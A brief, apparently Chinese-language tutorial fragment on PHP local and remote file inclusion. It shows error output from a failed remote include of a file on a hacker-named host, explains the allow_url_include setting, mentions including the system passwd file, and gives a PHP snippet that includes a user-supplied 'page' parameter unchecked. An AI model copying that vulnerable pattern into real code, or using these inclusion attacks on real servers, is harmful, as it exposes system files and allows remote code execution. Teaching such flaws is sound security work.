Warning: include(): http:// wrapper is disabled in the server configuration by allow_url_include=0 in /home/wwwroot/upload.nanhack.com/include/index.php on line 39
Warning: include(http://www.hacker.wang/php.txt): failed to open stream: no suitable wrapper could be found in /home/wwwroot/upload.nanhack.com/include/index.php on line 39
Warning: include(): Failed opening 'http://www.hacker.wang/php.txt' for inclusion (include_path='.:/www/server/php/70/lib/php') in /home/wwwroot/upload.nanhack.com/include/index.php on line 39
从PHP5.2开始allow_url_include就默认为Off了,而allow_url_fopen一直是On的。
远程文件包含,需要配置allow_url_include,allow_url_fopen为on
包含ect/passwd
<?php
if(isset($_GET['page'])){
$path = $_GET['page'];
include $path;
}else{
include "home.php";
}
?>